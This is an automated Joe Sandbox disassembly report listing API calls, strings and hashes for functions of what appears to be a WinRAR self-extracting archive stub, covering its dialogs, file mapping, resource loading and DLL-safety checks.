Part of subcall function 00DDC5EE: FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00DDC635
Part of subcall function 00DDC5EE: SHAutoComplete.SHLWAPI(?,00000010), ref: 00DDC645

DeleteObject.GDI32(00000000), ref: 00DDF65D
DeleteObject.GDI32(?), ref: 00DDF69B
SendDlgItemMessageW.USER32(?,000000C8,00000172,00000000,00000000), ref: 00DDF6B0
SendMessageW.USER32(?,00000080,00000001,000304D1), ref: 00DDF6D4
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,00000000), ref: 00DDF6EA
GetDlgItem.USER32(?,00000068), ref: 00DDF6F3
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 00DDF70C
GetDlgItem.USER32(?,00000066), ref: 00DDF729
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 00DDF7A4
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00DDF7B8
SetForegroundWindow.USER32(?), ref: 00DDF818
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001FA40,00000000,00000003), ref: 00DDF85D
EndDialog.USER32(?,00000001), ref: 00DDF871

Part of subcall function 00DDFB52: __EH_prolog3_GS.LIBCMT ref: 00DDFB5C

SendMessageW.USER32(?,00000111,00000001,00000000), ref: 00DDF9D5
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00DDF9FA

Strings

STARTDLG, xrefs: 00DDEC8B
LICENSEDLG, xrefs: 00DDF852
winrarsfxmappingfile.tmp, xrefs: 00DDF1F4
8(, xrefs: 00DDF147
-el -s2 "-d%s" "-sp%s", xrefs: 00DDF118
WinRAR, xrefs: 00DDEE6A
@, xrefs: 00DDF137
__tmp_rar_sfx_access_check_, xrefs: 00DDF03F
<, xrefs: 00DDF12D

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Message$Item$Send$Text$Dialog$ErrorFileLast$DeleteObjectViewWindow$AutoCallbackClassCloseCommandCompleteCountCreateDispatchDispatcherFindFocusForegroundH_prolog3_H_prolog3_catch_HandleLineMappingNameParamS_alignSleepTickTranslateUnmapUser
String ID: -el -s2 "-d%s" "-sp%s"$8($<$@$LICENSEDLG$STARTDLG$WinRAR$__tmp_rar_sfx_access_check_$winrarsfxmappingfile.tmp
API String ID: 3312150758-2362907701
Opcode ID: 2773290e73af159e661839e3d189fd15b5750adcb1ca8ee907776fc072c95e68
Instruction ID: e398f8a81b4eac6ca25a25f2b3e1e94fd9a6997eba9884927db783a9f471e6da
Opcode Fuzzy Hash: 2773290e73af159e661839e3d189fd15b5750adcb1ca8ee907776fc072c95e68
Instruction Fuzzy Hash: 6972EF30A00254AADB24EB60DC56FEE7B66DB51300F1840AAF546B73D3DBB50E89CB31

Function 00DDE674 Relevance: 38.7, APIs: 17, Strings: 5, Instructions: 244
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DD65F3: GetModuleHandleW.KERNEL32 ref: 00DD6643
Part of subcall function 00DD65F3: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00DD6655
Part of subcall function 00DD65F3: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00DD6676

Part of subcall function 00DD1A88: __EH_prolog3.LIBCMT ref: 00DD1A8F
Part of subcall function 00DD1A88: GetCurrentDirectoryW.KERNEL32(00000000,00000000,0000000C,00DD1636,0000007C,00DCF329), ref: 00DD1A9A

Part of subcall function 00DDD16C: OleInitialize.OLE32(00000000), ref: 00DDD183
Part of subcall function 00DDD16C: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00DDD1B5
Part of subcall function 00DDD16C: SHGetMalloc.SHELL32(00E097DC), ref: 00DDD1C0

GetCommandLineW.KERNEL32(?), ref: 00DDE70F
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00DDE753
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000009), ref: 00DDE769
UnmapViewOfFile.KERNEL32(00000000), ref: 00DDE780
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000009), ref: 00DDE794

Part of subcall function 00DDE5E6: __EH_prolog3.LIBCMT ref: 00DDE5ED

Part of subcall function 00DDEA58: __EH_prolog3_GS.LIBCMT ref: 00DDEA5F
Part of subcall function 00DDEA58: SetEnvironmentVariableW.KERNEL32(sfxcmd,00000000,00000024,00DDE80B), ref: 00DDEA71
Part of subcall function 00DDEA58: SetEnvironmentVariableW.KERNEL32(sfxpar,00000000,?,?,00000000,?), ref: 00DDEAC1

UnmapViewOfFile.KERNEL32(00000000,00E09A70,00000000,00000001,00000009), ref: 00DDE7E7
CloseHandle.KERNEL32(00000000), ref: 00DDE7F0
SetEnvironmentVariableW.KERNEL32(sfxname,00000000,00000000), ref: 00DDE840
GetLocalTime.KERNEL32(?), ref: 00DDE84B
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00DDE89F
GetModuleHandleW.KERNEL32(00000000), ref: 00DDE8A6
LoadIconW.USER32(00000000,00000064), ref: 00DDE8BD
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,00DDEC70,00000000), ref: 00DDE905
Sleep.KERNEL32(00000000), ref: 00DDE936
DeleteObject.GDI32 ref: 00DDE95A
DeleteObject.GDI32(00000000), ref: 00DDE96A

Part of subcall function 00DDEAD5: __EH_prolog3_GS.LIBCMT ref: 00DDEADC

CloseHandle.KERNEL32(000000FF), ref: 00DDE9AC

Strings

sfxname, xrefs: 00DDE83B
STARTDLG, xrefs: 00DDE8FA
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00DDE87B
winrarsfxmappingfile.tmp, xrefs: 00DDE747
sfxstime, xrefs: 00DDE89A

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: File$EnvironmentHandleVariableView$AddressCloseDeleteH_prolog3H_prolog3_ModuleObjectProcUnmap$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingOpenParamSleepStartupTime
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 2926856693-3710569615
Opcode ID: 602cb34f6d36991a759f5a7a374768ca495893ba3368147fca270b602286b006
Instruction ID: fe1b435e23525cee51bbbf74a77651c1d39fe947d5b1bee93cffe1c4bfb9ac56
Opcode Fuzzy Hash: 602cb34f6d36991a759f5a7a374768ca495893ba3368147fca270b602286b006
Instruction Fuzzy Hash: 25918D71504341AFD720FF61DC96ABA77A8EB84700F44482FF546A7293EB749988CB72

Function 00DDCB0A Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 97
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(?,PNG), ref: 00DDCB1E
SizeofResource.KERNEL32(00000000,?,PNG), ref: 00DDCB35
LoadResource.KERNEL32(00000000,?,PNG), ref: 00DDCB4C
LockResource.KERNEL32(00000000,?,PNG), ref: 00DDCB5B
GlobalAlloc.KERNEL32(00000002,00000000,?,?,PNG), ref: 00DDCB73
GlobalLock.KERNEL32(00000000), ref: 00DDCB84
CreateStreamOnHGlobal.COMBASE(00000000,00000000,00000000), ref: 00DDCBA4
GlobalUnlock.KERNEL32(00000000), ref: 00DDCC04

Part of subcall function 00DDD00A: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,00000000,00000000,00000000,00DDCBF1,?,00000000), ref: 00DDD01E

GlobalFree.KERNEL32(00000000), ref: 00DDCC0B

Strings

Fju0:.uPou, xrefs: 00DDCBA4
PNG, xrefs: 00DDCB12

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Global$Resource$CreateLock$AllocBitmapFindFreeFromGdipLoadSizeofStreamUnlock
String ID: Fju0:.uPou$PNG
API String ID: 3656887471-3478298543
Opcode ID: 377d95549c311e3ad3ad8cebf6c996385593ccd8ea171a53086288505964c8d8
Instruction ID: bdc05438a7ebe1a24ce186a158587dbf816c394bedd9eb91fe3cdf2e16431fa5
Opcode Fuzzy Hash: 377d95549c311e3ad3ad8cebf6c996385593ccd8ea171a53086288505964c8d8
Instruction Fuzzy Hash: A631B131B21706AFDB116B65DC98A7E7AB9EF44760F08506AF905E3351EB30CD44CA70

Function 00DDB49D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85comCOMMON

Download Yara Rule

APIs

CLSIDFromString.COMBASE(Shell.Explorer,?), ref: 00DDB4BA
CoCreateInstance.COMBASE(?,00000000,00000005,00DFB77C,?), ref: 00DDB4D1

Strings

@Hmu Fju0:.uPou, xrefs: 00DDB4BA
Shell.Explorer, xrefs: 00DDB4B5

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: CreateFromInstanceString
String ID: @Hmu Fju0:.uPou$Shell.Explorer
API String ID: 432265043-3316632272
Opcode ID: 6e0864acb64dafbab01da4f59723b8df8734c95a76eb260630221306c4ef96e7
Instruction ID: 66f02c16c5c6f6a8d47cd993123f7d421c3457c5514684f15644cd40901898a8
Opcode Fuzzy Hash: 6e0864acb64dafbab01da4f59723b8df8734c95a76eb260630221306c4ef96e7
Instruction Fuzzy Hash: F9214F71B00219EFCB04EB68EC4497E77B9EF4C714B10805AEA02E7360CB60AD02CBB4

Function 00DDBAC0 Relevance: 3.0, APIs: 2, Instructions: 25nativeCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00DDBAD8

Part of subcall function 00DDBB03: __EH_prolog3.LIBCMT ref: 00DDBB0A

NtdllDefWindowProc_W.NTDLL(?,?,?,?), ref: 00DDBAF3

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Window$H_prolog3LongNtdllProc_
String ID:
API String ID: 130673607-0
Opcode ID: 4aeefa79d73f14873c1d947a5f2b8858f543f0d3d04cfa59fdca1a52c824bb0e
Instruction ID: 00243e73abf126fa3f2855ebc79d6152713e37a58414ff1ffe4cb6d39de9d57b
Opcode Fuzzy Hash: 4aeefa79d73f14873c1d947a5f2b8858f543f0d3d04cfa59fdca1a52c824bb0e
Instruction Fuzzy Hash: D9E0E536100119BB8F119F9AEC08CDF3F6AEF99770B058116FA19A6260C771A961DBA0

Function 00DD65F3 Relevance: 58.1, APIs: 16, Strings: 17, Instructions: 384
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00DD6643
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00DD6655
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00DD6676
CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00DD6944
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00DD695B
ReadFile.KERNEL32(00000000,?,00007FFE,?,00000000), ref: 00DD697F
CloseHandle.KERNEL32(00000000), ref: 00DD6A14
CompareStringW.KERNEL32(00000400,00001001,00E01C30,000000FF,DXGIDebug.dll,000000FF), ref: 00DD6A98

Part of subcall function 00DD6D27: __EH_prolog3_GS.LIBCMT ref: 00DD6D2E
Part of subcall function 00DD6D27: GetSystemDirectoryW.KERNEL32(00000000), ref: 00DD6D59
Part of subcall function 00DD6D27: LoadLibraryW.KERNEL32(00000000,00DD4B85,?,00000104,?,0000005C,00DD4B85,00000000,00DD4D83,00000000,?,?,?,?,00DD4C55,?), ref: 00DD6DB9

Part of subcall function 00DCF2F2: __EH_prolog3_GS.LIBCMT ref: 00DCF2F9
Part of subcall function 00DCF2F2: GetFileAttributesW.KERNEL32(00000000,0000001C,00DCF2CA,?,00DCA3FB), ref: 00DCF306
Part of subcall function 00DCF2F2: GetFileAttributesW.KERNEL32(00000000), ref: 00DCF336

AllocConsole.KERNEL32 ref: 00DD6C84
GetCurrentProcessId.KERNEL32 ref: 00DD6C8E
AttachConsole.KERNEL32(00000000), ref: 00DD6C95
GetStdHandle.KERNEL32(000000F4), ref: 00DD6CB1
WriteConsoleW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00DD6CC3
Sleep.KERNEL32(00002710), ref: 00DD6CCE
FreeConsole.KERNEL32 ref: 00DD6CD4
ExitProcess.KERNEL32 ref: 00DD6CE7

Strings

4!, xrefs: 00DD68B1
P!, xrefs: 00DD68BB
h!, xrefs: 00DD68C5
0 , xrefs: 00DD6843
X , xrefs: 00DD6857
p , xrefs: 00DD6861
, xrefs: 00DD6893
!, xrefs: 00DD68F7
SetDefaultDllDirectories, xrefs: 00DD6670
dwmapi.dll, xrefs: 00DD66DB, 00DD6B94
@ , xrefs: 00DD684D
xlistpos, xrefs: 00DD6907
SetDllDirectoryW, xrefs: 00DD664F
kernel32, xrefs: 00DD6637
DXGIDebug.dll, xrefs: 00DD66A9, 00DD6A80
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00DD6C76
uxtheme.dll, xrefs: 00DD6B9E

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: File$Console$Handle$AddressAttributesH_prolog3_ProcProcess$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadModulePointerReadSleepStringSystemWrite
String ID: 0 $4!$@ $DXGIDebug.dll$P!$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$X $dwmapi.dll$h!$kernel32$p $uxtheme.dll$xlistpos$ $!
API String ID: 1861777435-2344324139
Opcode ID: 29782bb5c187e1d6885f8a55ce2e88d6fa1b9fe034e65fe2f2ce113e9d426c00
Instruction ID: 61cb631c0948868acc13e2a06c32f632af1fd394f4106c364b59fb8789dc0d58
Opcode Fuzzy Hash: 29782bb5c187e1d6885f8a55ce2e88d6fa1b9fe034e65fe2f2ce113e9d426c00
Instruction Fuzzy Hash: 8C027F708006299ADB64DF50CC4AADDB7B8FF45314F1091DAE689BB281DF705ACACF64

Function 00DDB8F1 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShowWindow.USER32 ref: 00DDB91F

Part of subcall function 00DDBA59: LoadCursorW.USER32(00000000,00007F00), ref: 00DDBA90
Part of subcall function 00DDBA59: RegisterClassExW.USER32(00000030), ref: 00DDBAB1

GetWindowRect.USER32(?,00000000), ref: 00DDB958
GetParent.USER32(?), ref: 00DDB966
MapWindowPoints.USER32(00000000,00000000), ref: 00DDB96F
DestroyWindow.USER32(00000000), ref: 00DDB97E
GetParent.USER32(?), ref: 00DDB99B
CreateWindowExW.USER32(00000000,RarHtmlClassName,00000000,40000000,00000001,?,?,?,00000000,00000000,?,00000000), ref: 00DDB9C2
ShowWindow.USER32(?,00000005,00000000), ref: 00DDB9F9
SetWindowTextW.USER32(?,00000000), ref: 00DDBA01
ShowWindow.USER32(00000000,00000005), ref: 00DDBA17
UpdateWindow.USER32(00000000), ref: 00DDBA20

Strings

RarHtmlClassName, xrefs: 00DDB9BC

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Window$Show$Parent$ClassCreateCursorDestroyLoadPointsRectRegisterTextUpdate
String ID: RarHtmlClassName
API String ID: 3841971108-1658105358
Opcode ID: 1db6569286e63eff4c186dea7b09855b98555dbcd157f1fb05771cc5de373294
Instruction ID: 2de879e187113b3d9c1b8372eebdc40be8a5fcbab8b14d8ab50816a11616a120
Opcode Fuzzy Hash: 1db6569286e63eff4c186dea7b09855b98555dbcd157f1fb05771cc5de373294
Instruction Fuzzy Hash: 6641BEB2102204EFCB109F65DC49AEF7BA8FF58768F06551AF945A2291C774D848CBB1

Function 00DDD883 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 103
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DDD2BD: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00DDD2CE
Part of subcall function 00DDD2BD: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00DDD2DF
Part of subcall function 00DDD2BD: IsDialogMessageW.USER32(000204C2,?), ref: 00DDD2F3
Part of subcall function 00DDD2BD: TranslateMessage.USER32(?), ref: 00DDD301
Part of subcall function 00DDD2BD: DispatchMessageW.USER32(?), ref: 00DDD30B

GetDlgItem.USER32(00000068,00000000), ref: 00DDD8A6
ShowWindow.USER32(00000000,00000005), ref: 00DDD8C4
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00DDD8D4
SendMessageW.USER32(00000000,000000C2,00000000,00E012DC), ref: 00DDD8E3
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00DDD8FD
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00DDD918
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00DDD959
SendMessageW.USER32(00000000,000000C2,00000000,00000000), ref: 00DDD96B
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00DDD97E
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00DDD9A5
SendMessageW.USER32(00000000,000000C2,00000000,00E01618), ref: 00DDD9B4

Part of subcall function 00DDBA3B: DestroyWindow.USER32(?,00000000,?,00DDD8C1), ref: 00DDBA4C

Strings

\, xrefs: 00DDD907

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Message$Send$Window$DestroyDialogDispatchItemPeekShowTranslate
String ID: \
API String ID: 1209198919-2967466578
Opcode ID: a70ae73a18a825c38f4f4b37a8da0281ead46568ad1799a9b632964ca293f549
Instruction ID: feed822b121dfe57c7664bc3c6d3d81c00cb13794d5e57ee8e5dacea218c2d4b
Opcode Fuzzy Hash: a70ae73a18a825c38f4f4b37a8da0281ead46568ad1799a9b632964ca293f549
Instruction Fuzzy Hash: 1431F2B1386304BFE3109F21DC0AFAB7B9CEB56714F080519F551BA3D2C7A5994887AA

Function 00DDFB52 Relevance: 18.0, APIs: 6, Strings: 4, Instructions: 460
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 00DDFB5C

Strings

.tmp, xrefs: 00DDFE37
Software\Microsoft\Windows\CurrentVersion, xrefs: 00DE0117
<br>, xrefs: 00DDFF4A
ProgramFilesDir, xrefs: 00DE0103

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: H_prolog3_
String ID: .tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 2427045233-2731831684
Opcode ID: 99d280a50d3b3976e0953828b2689934be02414d8f42352e0c6d67f7e1e3d884
Instruction ID: 38c948bacfaf7e9a98165cca5be4cdfb58715f53e696d2733c3a49aeab2a81ce
Opcode Fuzzy Hash: 99d280a50d3b3976e0953828b2689934be02414d8f42352e0c6d67f7e1e3d884
Instruction Fuzzy Hash: 2A124B358002699ADB25EBA0CC91FEDBB75EF15310F5441AEE446B3192EFB01B89CB71

Function 00DDBDCA Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 125
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 00DDBE9C
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00DDBEBD
CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00DDBEE4

Strings

Fju0:.uPou, xrefs: 00DDBEE4
<html>, xrefs: 00DDBE0E, 00DDBE46
</html>, xrefs: 00DDBE70
utf-8"></head>, xrefs: 00DDBE24
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00DDBE19

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Global$AllocByteCharCreateMultiStreamWide
String ID: Fju0:.uPou$</html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 4094277203-2565152914
Opcode ID: bdd302f963d1af60780d4da626a2508e477d5ec48dd2f8f4c2aafa262763c5ce
Instruction ID: 8452c16b960aec7c720977b910be7a694faaf8b05970c5c238a970ed04589704
Opcode Fuzzy Hash: bdd302f963d1af60780d4da626a2508e477d5ec48dd2f8f4c2aafa262763c5ce
Instruction Fuzzy Hash: E3311532208352AAD725BB31DC46FAB779CDF82724F14541FF510A73D2EB60980582B6

Function 00DF1069 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00DF1178,?,?,00000000,00DE24EE,?,?,00DF12F1,00000022,FlsSetValue,00DFDA18,00DFDA20,00DE24EE), ref: 00DF112A

Strings

api-ms-, xrefs: 00DF10C0
ext-ms-, xrefs: 00DF10D4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 799939518ff7907bce18ad3f11598e6111118970363644f6cefff038ba3fdde8
Instruction ID: 019971f1b2c50f263367da95fef96921706d8f48e5ef9b6de400008fdd2e0404
Opcode Fuzzy Hash: 799939518ff7907bce18ad3f11598e6111118970363644f6cefff038ba3fdde8
Instruction Fuzzy Hash: 9E210539A00359EBCB219B21EC45A7A7768DB017B4F2A8121EB55A7391EF30ED44C6F0

Function 00DDD16C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 30
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DD6D27: __EH_prolog3_GS.LIBCMT ref: 00DD6D2E
Part of subcall function 00DD6D27: GetSystemDirectoryW.KERNEL32(00000000), ref: 00DD6D59
Part of subcall function 00DD6D27: LoadLibraryW.KERNEL32(00000000,00DD4B85,?,00000104,?,0000005C,00DD4B85,00000000,00DD4D83,00000000,?,?,?,?,00DD4C55,?), ref: 00DD6DB9

